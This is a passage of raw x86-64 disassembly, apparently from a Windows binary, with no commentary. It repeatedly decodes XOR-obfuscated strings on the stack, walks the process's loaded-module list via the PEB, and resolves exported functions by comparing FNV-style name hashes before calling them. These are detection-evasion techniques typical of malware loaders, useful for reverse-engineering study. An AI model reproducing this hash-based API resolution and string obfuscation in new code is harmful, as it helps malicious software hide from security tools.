andps xmm2, xmmword [0x1400af330]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400af330]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140005410
cmp r8d, 0x2c
jge 0x140005563
movsxd rax, r8d
lea r9, [rbp + 0xb58]
add r9, rax
nop dword [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2c
jl 0x140005530
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400055f6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400055f6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x2f1d0f51
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400055f1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400055d0
cmp r8d, 0x7d536830
je 0x1400055fb
test r9d, r9d
jne 0x1400055b0
mov rax, qword [rax]
jmp 0x140005580
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
lea rcx, [rbp + 0xb58]
call rdx
movups xmm0, xmmword [0x1400a27d8]
movups xmmword [rbp + 0x5b8], xmm0
movups xmm1, xmmword [0x1400a27e8]
movups xmmword [rbp + 0x5c8], xmm1
mov eax, dword [0x1400a27f8]
mov dword [rbp + 0x5d8], eax
mov r8d, r13d
cmp r12d, 2
jl 0x14000579b
movdqa xmm5, xmmword [0x1400af2e0]
movdqa xmm4, xmmword [0x1400af360]
movd xmm6, r14d
movdqa xmm7, xmmword [0x1400af310]
movd xmm8, r15d
movdqa xmm0, xmmword [0x1400af340]
movdqa xmmword [rbp - 0x40], xmm0
lea rcx, [rbp + 0x5bc]
mov edx, dword [rbp - 0x40]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400af330]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400af330]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140005690
cmp r8d, 0x24
jge 0x1400057e3
movsxd rax, r8d
lea r9, [rbp + 0x5b8]
add r9, rax
nop dword [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x24
jl 0x1400057b0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140005876
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140005876
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x41d02f1b
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140005871
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140005850
cmp r8d, 0xfd619e82
je 0x14000587b
test r9d, r9d
jne 0x140005830
mov rax, qword [rax]
jmp 0x140005800
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
lea rcx, [rbp + 0x5b8]
call rdx
movups xmm0, xmmword [0x1400a4718]
movups xmmword [rbp + 0x2b0], xmm0
movsd xmm0, qword [0x1400a4728]
movsd qword [rbp + 0x2c0], xmm0
mov eax, dword [0x1400a4730]
mov dword [rbp + 0x2c8], eax
movzx eax, word [0x1400a4734]
mov word [rbp + 0x2cc], ax
cmp byte [0x1400a4735], 0
je 0x140005a83
mov r8d, r13d
cmp r12d, 2
jl 0x140005a3b
movdqa xmm5, xmmword [0x1400af2e0]
movdqa xmm4, xmmword [0x1400af360]
movd xmm6, r14d
movdqa xmm7, xmmword [0x1400af310]
movd xmm8, r15d
movdqa xmm0, xmmword [0x1400af340]
movdqa xmmword [rbp - 0x40], xmm0
lea rcx, [rbp + 0x2b4]
mov edx, dword [rbp - 0x40]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400af330]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400af330]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140005930
cmp r8d, 0x1e
jge 0x140005a83
movsxd rax, r8d
lea r9, [rbp + 0x2b0]
add r9, rax
nop dword [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1e
jl 0x140005a50
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140005b16
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140005b16
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x4c3e1dc9
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140005b11
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140005af0
cmp r8d, 0x9880d428
je 0x140005b1b
test r9d, r9d
jne 0x140005ad0
mov rax, qword [rax]
jmp 0x140005aa0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
lea rcx, [rbp + 0x2b0]
call rdx
movups xmm0, xmmword [0x1400a4588]
movups xmmword [rbp + 0xb88], xmm0
movups xmm1, xmmword [0x1400a4598]
movups xmmword [rbp + 0xb98], xmm1
movsd xmm0, qword [0x1400a45a8]
movsd qword [rbp + 0xba8], xmm0
mov eax, dword [0x1400a45b0]
mov dword [rbp + 0xbb0], eax
mov r8d, r13d
cmp r12d, 2
jl 0x140005ccb
movdqa xmm5, xmmword [0x1400af2e0]
movdqa xmm4, xmmword [0x1400af360]
movd xmm6, r14d
movdqa xmm7, xmmword [0x1400af310]
movd xmm8, r15d
movdqa xmm0, xmmword [0x1400af340]
movdqa xmmword [rbp - 0x40], xmm0
lea rcx, [rbp + 0xb8c]
mov edx, dword [rbp - 0x40]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400af330]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400af330]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140005bc0
cmp r8d, 0x2c
jge 0x140005d13
movsxd rax, r8d
lea r9, [rbp + 0xb88]
add r9, rax
nop dword [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2c
jl 0x140005ce0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140005da6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140005da6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x69646a17
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140005da1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140005d80
cmp r8d, 0x4c110a96
je 0x140005dab
test r9d, r9d
jne 0x140005d60
mov rax, qword [rax]
jmp 0x140005d30
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
lea rcx, [rbp + 0xb88]
call rdx
movups xmm0, xmmword [0x1400a2988]
movups xmmword [rbp + 0x4f0], xmm0
movups xmm1, xmmword [0x1400a2998]
movups xmmword [rbp + 0x500], xmm1
movzx eax, word [0x1400a29a8]
mov word [rbp + 0x510], ax
movzx eax, byte [0x1400a29aa]
mov byte [rbp + 0x512], al
mov r8d, r13d
cmp r12d, 2
jl 0x140005f5b
movdqa xmm5, xmmword [0x1400af2e0]
movdqa xmm4, xmmword [0x1400af360]
movd xmm6, r14d
movdqa xmm7, xmmword [0x1400af310]
movd xmm8, r15d
movdqa xmm0, xmmword [0x1400af340]
movdqa xmmword [rbp - 0x40], xmm0
lea rcx, [rbp + 0x4f4]
mov edx, dword [rbp - 0x40]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400af330]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400af330]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140005e50
cmp r8d, 0x23
jge 0x140005fa3
movsxd rax, r8d
lea r9, [rbp + 0x4f0]
add r9, rax
nop dword [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x23
jl 0x140005f70
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140006036
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140006036
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0xefd188f9
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140006031
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140006010
cmp r8d, 0x85ec8a98
je 0x14000603b
test r9d, r9d
jne 0x140005ff0
mov rax, qword [rax]
jmp 0x140005fc0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
lea rcx, [rbp + 0x4f0]
call rdx
movups xmm0, xmmword [0x1400a44f0]
movups xmmword [rbp + 0x230], xmm0
movsd xmm0, qword [0x1400a4500]
movsd qword [rbp + 0x240], xmm0
movzx eax, word [0x1400a4508]
mov word [rbp + 0x248], ax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_79]
mov byte [rbp + 0x24a], al
mov r8d, r13d
cmp r12d, 2
jl 0x1400061eb
movdqa xmm5, xmmword [0x1400af2e0]
movdqa xmm4, xmmword [0x1400af360]
movd xmm6, r14d
movdqa xmm7, xmmword [0x1400af310]
movd xmm8, r15d
movdqa xmm0, xmmword [0x1400af340]
movdqa xmmword [rbp - 0x40], xmm0
lea rcx, [rbp + 0x234]
mov edx, dword [rbp - 0x40]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400af330]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400af330]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x1400060e0
cmp r8d, 0x1b
jge 0x140006233
movsxd rax, r8d
lea r9, [rbp + 0x230]
add r9, rax
nop dword [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1b
jl 0x140006200
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400062c6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400062c6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x8235c063
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400062c1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400062a0
cmp r8d, 0x351eefea
je 0x1400062cb
test r9d, r9d
jne 0x140006280
mov rax, qword [rax]
jmp 0x140006250
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
lea rcx, [rbp + 0x230]
call rdx
movups xmm0, xmmword [0x1400a3700]
movups xmmword [rbp + 0x1f8], xmm0
mov eax, dword [0x1400a3710]
mov dword [rbp + 0x208], eax
movzx eax, byte [0x1400a3714]
mov byte [rbp + 0x20c], al
mov r8d, r13d
cmp r12d, 2
jl 0x14000646b
movdqa xmm5, xmmword [0x1400af2e0]
movdqa xmm4, xmmword [0x1400af360]
movd xmm6, r14d
movdqa xmm7, xmmword [0x1400af310]
movd xmm8, r15d
movdqa xmm0, xmmword [0x1400af340]
movdqa xmmword [rbp - 0x40], xmm0
lea rcx, [rbp + 0x1fc]
mov edx, dword [rbp - 0x40]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400af330]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400af330]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140006360
cmp r8d, 0x15
jge 0x1400064b3
movsxd rax, r8d
lea r9, [rbp + 0x1f8]
add r9, rax
nop dword [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x15
jl 0x140006480
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140006546
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140006546
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x1ca2fec1
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140006541
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140006520
cmp r8d, 0x3a76e0a0
je 0x14000654b
test r9d, r9d
jne 0x140006500
mov rax, qword [rax]
jmp 0x1400064d0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
lea rcx, [rbp + 0x1f8]
call rdx
movups xmm0, xmmword [0x1400a33b0]
movups xmmword [rbp + 0x978], xmm0
movups xmm1, xmmword [0x1400a33c0]
movups xmmword [rbp + 0x988], xmm1
movsd xmm0, qword [0x1400a33d0]
movsd qword [rbp + 0x998], xmm0
movzx eax, word [0x1400a33d8]
mov word [rbp + 0x9a0], ax
mov r8d, r13d
cmp r12d, 2
jl 0x1400066fb
movdqa xmm5, xmmword [0x1400af2e0]
movdqa xmm4, xmmword [0x1400af360]
movd xmm6, r14d
movdqa xmm7, xmmword [0x1400af310]
movd xmm8, r15d
movdqa xmm0, xmmword [0x1400af340]
movdqa xmmword [rbp - 0x40], xmm0
lea rcx, [rbp + 0x97c]
mov edx, dword [rbp - 0x40]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400af330]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
